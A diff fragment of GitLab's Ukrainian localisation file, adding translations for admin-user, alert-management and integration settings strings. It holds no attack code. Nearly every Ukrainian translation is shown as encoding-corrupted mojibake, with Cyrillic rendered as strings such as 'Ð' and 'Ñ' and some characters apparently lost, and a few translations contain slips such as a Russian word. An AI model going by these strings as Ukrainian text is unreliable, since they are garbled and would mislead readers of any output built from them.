msgid "AdminUsers|Automatically marked as default internal user"
-msgstr ""
+msgstr "Ðвтоматично позначено Ñк внутрішній кориÑтувач за замовчуваннÑм"
msgid "AdminUsers|Ban user"
msgstr "Забанити кориÑтувача"
@@ -2819,7 +2869,7 @@ msgid "AdminUsers|Banned"
msgstr "Забанені"
msgid "AdminUsers|Be added to groups and projects"
-msgstr ""
+msgstr "Бути доданим до груп та проєктів"
msgid "AdminUsers|Block"
msgstr "Заблокувати"
@@ -2837,7 +2887,7 @@ msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Ð‘Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача має наÑтупні наÑлідки:"
msgid "AdminUsers|Cannot sign in or access instance information"
-msgstr ""
+msgstr "Ðе вдаєтьÑÑ Ð²Ð²Ñ–Ð¹Ñ‚Ð¸ або отримати доÑтуп до інформації"
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Ðеможливо розблокувати кориÑтувачів заблокованих в LDAP"
@@ -2849,10 +2899,10 @@ msgid "AdminUsers|Confirm user"
msgstr "Підтвердити кориÑтувача"
msgid "AdminUsers|Confirm user %{username}?"
-msgstr ""
+msgstr "Підтвердити кориÑтувача %{username}?"
msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ кількіÑÑ‚ÑŒ груп кориÑтувачів. Оновіть Ñторінку, щоб повторити Ñпробу."
msgid "AdminUsers|Deactivate"
msgstr "Деактивувати"
@@ -2888,34 +2938,34 @@ msgid "AdminUsers|External users cannot see internal or private projects unless
msgstr "Зовнішні кориÑтувачі не можуть бачити внутрішні або приватні проєкти, Ñкщо доÑтуп не надаєтьÑÑ. Крім того, зовнішні кориÑтувачі не можуть Ñтворювати проєкти, групи або оÑобиÑÑ‚Ñ– Ñніпети."
msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð±Ñ–Ð»ÑŒÑˆ детальної інформації звернітьÑÑ Ð´Ð¾ %{link_start} документації з Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¾Ð³Ð¾ запиÑу кориÑтувача . %{link_end}"
msgid "AdminUsers|Here are some helpful links to help you manage your instance:"
msgstr ""
msgid "AdminUsers|If you have any questions about this process please consult our %{doc_link} or %{support_link}."
-msgstr ""
+msgstr "Якщо у Ð²Ð°Ñ Ñ” Ð¿Ð¸Ñ‚Ð°Ð½Ð½Ñ Ñ‰Ð¾Ð´Ð¾ цього процеÑу, звернітьÑÑ Ð´Ð¾ наших %{doc_link} або %{support_link}."
msgid "AdminUsers|Important information about usage on your GitLab instance"
-msgstr ""
+msgstr "Важлива Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ інÑтанÑа GitLab"
msgid "AdminUsers|Is using seat"
msgstr "ВикориÑтовує міÑце"
msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr ""
+msgstr "Задачи, Ñтворені цим кориÑтувачем, приховані від інших кориÑтувачів"
msgid "AdminUsers|It's you!"
msgstr "Це ви!"
msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
-msgstr ""
+msgstr "Докладніше про %{link_start}забанених кориÑтувачів.%{link_end}"
msgid "AdminUsers|Log in"
msgstr "Вхід в ÑиÑтему"
msgid "AdminUsers|Manage (accept/reject) pending user sign ups"
-msgstr ""
+msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ (прийнÑÑ‚Ñ‚Ñ / відхиленнÑ) кориÑтувачів, що очікують реєÑтрації кориÑтувачів"
msgid "AdminUsers|New user"
msgstr "Ðовий кориÑтувач"
@@ -2942,13 +2992,13 @@ msgid "AdminUsers|Regular"
msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects."
-msgstr ""
+msgstr "Звичайні кориÑтувачі мають доÑтуп до Ñвоїх груп та проєктів."
msgid "AdminUsers|Reject"
msgstr "Відхилити"
msgid "AdminUsers|Reject user %{username}?"
-msgstr ""
+msgstr "Відхилити кориÑтувача %{username}?"
msgid "AdminUsers|Rejected users:"
msgstr "Відхилені кориÑтувачі:"
@@ -2999,7 +3049,7 @@ msgid "AdminUsers|Unban user"
msgstr "Розбанити кориÑтувача"
msgid "AdminUsers|Unban user %{username}?"
-msgstr ""
+msgstr "Розбанити кориÑтувача %{username}?"
msgid "AdminUsers|Unblock"
msgstr "Розблокувати"
@@ -3065,55 +3115,55 @@ msgid "AdminUsers|You can always deactivate their account again if needed."
msgstr "Ви завжди можете деактивувати Ñ—Ñ… обліковий запиÑ, Ñкщо це необхідно."
msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
-msgstr ""
+msgstr "Ви завжди можете повторно активувати Ñ—Ñ… обліковий запиÑ, Ñ—Ñ… дані залишатьÑÑ Ð½ÐµÐ´Ð¾Ñ‚Ð¾Ñ€ÐºÐ°Ð½Ð¸Ð¼Ð¸."
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
-msgstr ""
+msgstr "Ви завжди можете розблокувати Ñ—Ñ… обліковий запиÑ, Ñ—Ñ… дані залишатьÑÑ Ð½ÐµÐ´Ð¾Ñ‚Ð¾Ñ€ÐºÐ°Ð½Ð¸Ð¼Ð¸."
msgid "AdminUsers|You can ban their account in the future if necessary."
-msgstr ""
+msgstr "При необхідноÑÑ‚Ñ– ви можете забанити їхній обліковий Ð·Ð°Ð¿Ð¸Ñ Ñƒ майбутньому."
msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
-msgstr ""
+msgstr "Ви можете розблокувати Ñ—Ñ… обліковий Ð·Ð°Ð¿Ð¸Ñ Ñƒ майбутньому. Їхні дані залишаютьÑÑ Ð½ÐµÐ´Ð¾Ñ‚Ð¾Ñ€ÐºÐ°Ð½Ð¸Ð¼Ð¸."
msgid "AdminUsers|You cannot remove your own admin rights."
-msgstr ""
+msgstr "Ви не можете видалити Ñвої права адмініÑтратора."
msgid "AdminUsers|You must transfer ownership or delete the groups owned by this user before you can delete their account"
-msgstr ""
+msgstr "Ви повинні передати право влаÑноÑÑ‚Ñ– або видалити групи, що належать цьому кориÑтувачу, перш ніж ви зможете видалити його обліковий запиÑ"
msgid "AdminUsers|Your GitLab instance has reached the maximum allowed %{user_doc_link} set by an instance admin."
-msgstr ""
+msgstr "Ваш інÑÑ‚Ð°Ð½Ñ GitLab доÑÑг макÑимально допуÑтимого Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ %{user_doc_link}, вÑтановленого адмініÑтратором інÑтанÑа."
msgid "AdminUsers|approve them"
-msgstr ""
+msgstr "затвердити їх"
msgid "AdminUsers|contact our support team"
-msgstr ""
+msgstr "зв'ÑжітьÑÑ Ð· нашою Ñлужбою підтримки"
msgid "AdminUsers|docs"
-msgstr ""
+msgstr "документи"
msgid "AdminUsers|user cap"
-msgstr ""
+msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "Administration"
msgstr "ÐдмініÑтруваннÑ"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
-msgstr ""
+msgstr "Додаткові кориÑтувачі повинні бути перевірені та затверджені ÑиÑтемним адмініÑтратором. Докладніше про %{help_link_start} Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑтаннÑ%{help_link_end}."
msgid "Admin|Admin notes"
msgstr "Примітки адмініÑтратора"
msgid "Admin|Learn more about quarterly reconciliation"
-msgstr ""
+msgstr "Докладніше про щоквартальну звірку"
msgid "Admin|Note"
msgstr "Примітка"
msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
-msgstr ""
+msgstr "Квартальна звірка відбудетьÑÑ %{qrtlyDate}"
msgid "Admin|The number of max seats in your namespace exceeds the number of seats in your subscription. On %{qrtlyDate}, quarterly reconciliation occurs and you are automatically billed a prorated amount for the overage. No action is needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice. For more information about the timing of the invoicing process, view the documentation."
msgstr ""
@@ -3125,7 +3175,7 @@ msgid "Admin|View pending user approvals"
msgstr ""
msgid "Admin|Your instance has reached its user cap"
-msgstr ""
+msgstr "Ваш інÑÑ‚Ð°Ð½Ñ Ð´Ð¾ÑÑг макÑимальної кількоÑÑ‚Ñ– кориÑтувачів"
msgid "Advanced"
msgstr "Розширений"
@@ -3139,53 +3189,62 @@ msgstr "Додаткові налаштуваннÑ"
msgid "Advanced export options"
msgstr "Розширені параметри екÑпорту"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "ПіÑÐ»Ñ ÑƒÑпішного Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð²Ð¸ перейдете на екран входу."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "ПіÑÐ»Ñ ÑƒÑпішного Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¿Ð°Ñ€Ð¾Ð»ÑŽ ви будете перенаправлені на Ñторінку входу, де ви зможете увійти з новим паролем."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
-msgstr "ПіÑÐ»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ ви не зможете викориÑтовувати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½Ð° Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð°Ð±Ð¾ ÑкіÑÑ‚ÑŒ коду, а також багато інших функцій."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
-msgstr "ПіÑÐ»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ ви не зможете викориÑтовувати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð°Ð±Ð¾ епіки, а також багато інших функцій."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
msgstr ""
msgid "Akismet"
-msgstr ""
+msgstr "Akismet"
msgid "Akismet API Key"
-msgstr ""
+msgstr "Ключ API Akismet"
msgid "Akismet helps prevent the creation of spam issues in public projects."
-msgstr ""
+msgstr "Akismet допомагає запобігти Ñтворенню проблем зі Ñпамом у публічних проєктах."
msgid "AlertManagement|Acknowledged"
-msgstr ""
+msgstr "Підтверджено"
msgid "AlertManagement|Activity feed"
-msgstr ""
+msgstr "Канал активноÑÑ‚Ñ–"
msgid "AlertManagement|Alert"
msgstr "ПопередженнÑ"
msgid "AlertManagement|Alert assignee(s): %{assignees}"
-msgstr ""
+msgstr "Одержувач(-и) попередженнÑ: %{assignees}"
msgid "AlertManagement|Alert detail"
msgstr "Деталі попередженнÑ"
msgid "AlertManagement|Alert details"
-msgstr ""
+msgstr "Деталі попередженнÑ"
msgid "AlertManagement|Alert status: %{status}"
-msgstr ""
+msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ: %{status}"
msgid "AlertManagement|Alerts"
msgstr "ПопередженнÑ"
@@ -3200,7 +3259,7 @@ msgid "AlertManagement|Assignees"
msgstr "Виконавці"
msgid "AlertManagement|Authorize external service"
-msgstr ""
+msgstr "ÐÐ²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ñ–Ñ Ð·Ð¾Ð²Ð½Ñ–ÑˆÐ½ÑŒÐ¾Ñ— Ñлужби"
msgid "AlertManagement|Create incident"
msgstr "Створити інцидент"
@@ -3233,7 +3292,7 @@ msgid "AlertManagement|More information"
msgstr "Детальніше"
msgid "AlertManagement|No alert data to display."
-msgstr ""
+msgstr "Ðемає даних попереджень Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
msgid "AlertManagement|No alerts available to display. See %{linkStart}enabling alert management%{linkEnd} for more information on adding alerts to the list."
msgstr ""
@@ -3248,13 +3307,13 @@ msgid "AlertManagement|Open"
msgstr "Відкриті"
msgid "AlertManagement|Please try again."
-msgstr ""
+msgstr "Спробуйте ще раз."
msgid "AlertManagement|Reported %{when}"
-msgstr ""
+msgstr "Повідомлено %{when}"
msgid "AlertManagement|Reported %{when} by %{tool}"
-msgstr ""
+msgstr "Повідомлено %{when} від %{tool}"
msgid "AlertManagement|Resolved"
msgstr "Вирішено"
@@ -3278,7 +3337,7 @@ msgid "AlertManagement|Surface alerts in GitLab"
msgstr ""
msgid "AlertManagement|There was an error displaying the alert. Please refresh the page to try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Оновіть Ñторінку, щоб Ñпробувати ще раз."
msgid "AlertManagement|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -3290,67 +3349,67 @@ msgid "AlertManagement|There was an error while updating the assignee(s) of the
msgstr ""
msgid "AlertManagement|There was an error while updating the status of the alert."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑтатуÑу Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "AlertManagement|There was an error while updating the to-do item of the alert."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¿ÑƒÐ½ÐºÑ‚Ñƒ завдань Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
msgid "AlertManagement|This assignee cannot be assigned to this alert."
-msgstr ""
+msgstr "Цей виконавець не може бути призначений цьому попередженю."
msgid "AlertManagement|Tool"
msgstr "ІнÑтрумент"
msgid "AlertManagement|Triggered"
-msgstr ""
+msgstr "Запущено"
msgid "AlertManagement|Value"
msgstr "ЗначеннÑ"
msgid "AlertManagement|View incident"
-msgstr ""
+msgstr "ПереглÑнути інцидент"
msgid "AlertMappingBuilder|Define fallback"
msgstr ""
msgid "AlertMappingBuilder|GitLab alert key"
-msgstr ""
+msgstr "Ключ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ GitLab"
msgid "AlertMappingBuilder|Make selection"
-msgstr ""
+msgstr "Зробити вибір"
msgid "AlertMappingBuilder|Payload alert key"
msgstr ""
msgid "AlertMappingBuilder|Select key"
-msgstr ""
+msgstr "Вибрати ключ"
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
-msgstr ""
+msgstr "Заголовок - це обов'Ñзкове поле Ð´Ð»Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½ÑŒ у GitLab. Якщо вказане поле кориÑного Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ´Ð¾Ñтупне, вкажіть, Ñке поле ми повинні викориÑтовувати заміÑÑ‚ÑŒ нього. "
msgid "AlertSettings|A webhook URL and authorization key is generated for the integration. After you save the integration, both are visible under the “View credentials†tab."
msgstr ""
msgid "AlertSettings|Add new integration"
-msgstr ""
+msgstr "Додати нову інтеграцію"
msgid "AlertSettings|Alert settings"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½ÑŒ"
msgid "AlertSettings|Authorization key"
-msgstr ""
+msgstr "Ключ авторизації"
msgid "AlertSettings|Configure details"
-msgstr ""
+msgstr "Деталі конфігурації"
msgid "AlertSettings|Current integrations"
-msgstr ""
+msgstr "Поточні інтеграції"
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
msgid "AlertSettings|Delete integration"
-msgstr ""
+msgstr "Видалити інтеграцію"
msgid "AlertSettings|Edit integration"
msgstr "Редагувати інтеграцію"
@@ -3359,31 +3418,31 @@ msgid "AlertSettings|Edit payload"
msgstr ""
msgid "AlertSettings|Enable integration"
-msgstr ""
+msgstr "Включити інтеграцію"
msgid "AlertSettings|Enter an example payload from your selected monitoring tool. This supports sending alerts to a GitLab endpoint."
msgstr ""
msgid "AlertSettings|Enter integration name"
-msgstr ""
+msgstr "Введіть назву інтеграції"
msgid "AlertSettings|Free versions of GitLab are limited to one integration per type. To add more, %{linkStart}upgrade your subscription%{linkEnd}."
-msgstr ""
+msgstr "Безкоштовні верÑÑ–Ñ— GitLab обмежені однією інтеграцією кожного типу. Щоб додати більше, %{linkStart} оновіть підпиÑку%{linkEnd}."
msgid "AlertSettings|GitLab has created a URL and authorization key for your integration. You can use them to set up a webhook and authorize your endpoint to send alerts to GitLab."
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
-msgstr ""
+msgstr "Кінцева точка HTTP"
msgid "AlertSettings|If you edit the payload, you must re-map the fields again."
-msgstr ""
+msgstr "Якщо ви редагуєте кориÑне навантаженнÑ, ви повинні знову зіÑтавити полÑ."
msgid "AlertSettings|If you reset the authorization key for this project, you must update the key in every enabled alert source."
-msgstr ""
+msgstr "Якщо ви Ñкинете ключ авторизації Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту, ви повинні оновити ключ у вÑÑ–Ñ… увімкнених джерелах попередженнÑ."
msgid "AlertSettings|Integration successfully saved"
-msgstr ""
+msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ ÑƒÑпішно збережена"
msgid "AlertSettings|Name integration"
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· іменем"
@@ -3392,13 +3451,13 @@ msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
-msgstr ""
+msgstr "Продовжити редагуваннÑ"
msgid "AlertSettings|Prometheus"
-msgstr ""
+msgstr "Prometheus"
msgid "AlertSettings|Prometheus API base URL"
-msgstr ""
+msgstr "ОÑновна URL-адреÑа API Prometheus"
msgid "AlertSettings|Reset Key"
msgstr "Скинути ключ"
@@ -3407,7 +3466,7 @@ msgid "AlertSettings|Reset the mapping"
msgstr ""
msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
-msgstr ""
+msgstr "Зразок кориÑного Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð°Ð½Ð°Ð»Ñ–Ð·Ð¾Ð²Ð°Ð½Ð¾. Тепер ви можете відобразити полÑ."
msgid "AlertSettings|Save & create test alert"
msgstr ""
@@ -3419,10 +3478,10 @@ msgid "AlertSettings|Save integration & send"
msgstr ""
msgid "AlertSettings|Select integration type"
-msgstr ""
+msgstr "Виберіть тип інтеграції"
msgid "AlertSettings|Send test alert"
-msgstr ""
+msgstr "ÐадіÑлати теÑтове попередженнÑ"
msgid "AlertSettings|Send without saving"
msgstr ""
@@ -3449,7 +3508,7 @@ msgid "AlertSettings|View URL and authorization key"
msgstr ""
msgid "AlertSettings|View credentials"
-msgstr ""
+msgstr "ПереглÑнути облікові дані"
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -3467,10 +3526,10 @@ msgid "Alerts"
msgstr "ПопередженнÑ"
msgid "AlertsIntegrations|Alerts will be created through this integration"
-msgstr ""
+msgstr "ÐžÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÑтворюватимутьÑÑ Ð·Ð° допомогою цієї інтеграції"
msgid "AlertsIntegrations|Alerts will not be created through this integration"
-msgstr ""
+msgstr "Ð¡Ð¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð½Ðµ ÑтворюватимутьÑÑ Ð·Ð° допомогою цієї інтеграції"
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3482,31 +3541,31 @@ msgid "AlertsIntegrations|Integration payload is invalid."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet."
-msgstr ""
+msgstr "Ще жодних інтеграцій не додано."
msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ поточну інтеграцію. Будь лаÑка Ñпробуйте ще раз."
msgid "AlertsIntegrations|The integration could not be added. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ інтеграцію. Будь лаÑка Ñпробуйте ще раз."
msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ інтеграцію. Будь лаÑка Ñпробуйте ще раз."
msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
-msgstr ""
+msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð½Ð°Ñ€Ð°Ð·Ñ– неактивна. Увімкніть інтеграцію, щоб надіÑлати теÑтове попередженнÑ."
msgid "AlertsIntegrations|The integration is deleted."
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð°."
msgid "AlertsIntegrations|The integration is saved."
-msgstr ""
+msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð°."
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ñкинути токен інтеграції. Будь лаÑка Ñпробуйте ще раз."
msgid "AlertsIntegrations|The test alert should now be visible in your alerts list."
-msgstr ""
+msgstr "Тепер теÑтове Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ Ð¼Ð°Ñ” бути видимим у вашому ÑпиÑку попереджень."
msgid "Algorithm"
msgstr "Ðлгоритм"
@@ -3521,7 +3580,7 @@ msgid "All (default)"
msgstr "Ð’ÑÑ– (за замовчуваннÑм)"
msgid "All GitLab"
-msgstr ""
+msgstr "ВеÑÑŒ GitLab"
msgid "All Members"
msgstr "Ð’ÑÑ– учаÑники"
@@ -3557,7 +3616,7 @@ msgid "All merge request dependencies have been merged"
msgstr "Ð’ÑÑ– залежноÑÑ‚Ñ– запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð±ÑƒÐ»Ð¸ злиті"
msgid "All paths are relative to the GitLab URL. Do not include %{relative_url_link_start}relative URLs%{relative_url_link_end}."
-msgstr ""
+msgstr "Ð’ÑÑ– шлÑхи Ñ” відноÑними до URL-адреÑи GitLab. Ðе включайте %{relative_url_link_start}відноÑні URL-адреÑи%{relative_url_link_end}."
msgid "All projects"
msgstr "Ð’ÑÑ– проєкти"
@@ -3575,7 +3634,7 @@ msgid "All users must have a name."
msgstr "Ð’ÑÑ– кориÑтувачі повинні мати імена."
msgid "All users with matching cards"
-msgstr ""
+msgstr "Ð’ÑÑ– кориÑтувачі з картами, що збігаютьÑÑ"
msgid "Allow \"%{group_name}\" to sign you in"
msgstr "Дозволити вхід через \"%{group_name}\""
@@ -3593,7 +3652,7 @@ msgid "Allow group owners to manage LDAP-related settings"
msgstr "Дозволити влаÑникам груп керувати налаштуваннÑми LDAP"
msgid "Allow non-administrators access to the performance bar"
-msgstr ""
+msgstr "Дозволити кориÑтувачам без прав адмініÑтратора доÑтуп до панелі продуктивноÑÑ‚Ñ–"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Дозволити викориÑÑ‚Ð°Ð½Ð½Ñ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ вибраних протоколів Ð´Ð»Ñ Ð´Ð¾Ñтупу до Git."
@@ -3605,16 +3664,16 @@ msgid "Allow owners to manually add users outside of LDAP"
msgstr "Дозволити влаÑникам вручну додавати кориÑтувачів за межами LDAP"
msgid "Allow password authentication for Git over HTTP(S)"
-msgstr ""
+msgstr "Дозволити аутентифікацію паролем Ð´Ð»Ñ Git через HTTP(S)"
msgid "Allow password authentication for the web interface"
-msgstr ""
+msgstr "Дозволити аутентифікацію паролем Ð´Ð»Ñ Ð²ÐµÐ±-інтерфейÑу"
msgid "Allow project maintainers to configure repository mirroring"
-msgstr ""
+msgstr "Дозволити керівникам налаштовувати дзеркальне Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ"
msgid "Allow projects and subgroups to override the group setting"
-msgstr ""
+msgstr "Дозволити проєктам Ñ– підгрупам замінити Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€ÑƒÐ¿Ð¸"
msgid "Allow projects within this group to use Git LFS"
msgstr "Дозволити проєктам в цій групі викориÑтовувати Git LFS"
@@ -3632,16 +3691,16 @@ msgid "Allow requests to the local network from web hooks and services"
msgstr "Дозволити запити до локальної мережі із вуб-хуків та ÑервіÑів"
msgid "Allow subgroups to set up their own two-factor authentication rules"
-msgstr ""
+msgstr "Дозволити підгрупам вÑтановлювати влаÑні правила двофакторної аутентифікації"
msgid "Allow this key to push to this repository"
-msgstr ""
+msgstr "Дозволити відправлÑти ключ до цього репозиторію"
msgid "Allow this secondary node to replicate content on Object Storage"
msgstr ""
msgid "Allow use of licensed EE features"
-msgstr ""
+msgstr "Дозволити викориÑÑ‚Ð°Ð½Ð½Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ… функцій EE"
msgid "Allow users to dismiss the broadcast message"
msgstr "Дозволити кориÑтувачам відхилÑти повідомленнÑ"
@@ -3659,7 +3718,7 @@ msgid "Allowed Geo IP"
msgstr "Дозволений гео IP"
msgid "Allowed characters: +, 0-9, -, and spaces."
-msgstr ""
+msgstr "Дозволені Ñимволи: +, 0-9, - Ñ– пробіли."
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÐµÐ½Ð¸Ñ… доменів Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти допуÑкаєтьÑÑ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿ найвищого рівнÑ"
@@ -3671,7 +3730,7 @@ msgid "Allowed to fail"
msgstr "Ðевдача дозволена"
msgid "Allows projects or subgroups in this group to override the global setting."
-msgstr ""
+msgstr "ДозволÑÑ” проєктам або підгрупам у цій групі перевизначати глобальне налаштуваннÑ."
msgid "Allows you to add and manage Kubernetes clusters."
msgstr "ДозволÑÑ” додавати та керувати клаÑтерами Kubernetes."
@@ -3680,13 +3739,13 @@ msgid "Almost there"
msgstr "Майже готово"
msgid "Almost there..."
-msgstr ""
+msgstr "Майже готово..."
msgid "Already blocked"
msgstr "Вже заблоковано"
msgid "Already have login and password?"
-msgstr ""
+msgstr "Вже маєте логін та пароль?"
msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
msgstr "Також відомий Ñк «Емітент» або «Ідентифікатор довіри перевірÑючої Ñторони»"
@@ -3695,7 +3754,7 @@ msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Також називаєтьÑÑ \"URL-адреÑа Ñлужби перевірÑючої Ñторони\" або \"URL-адреÑа відповіді\""
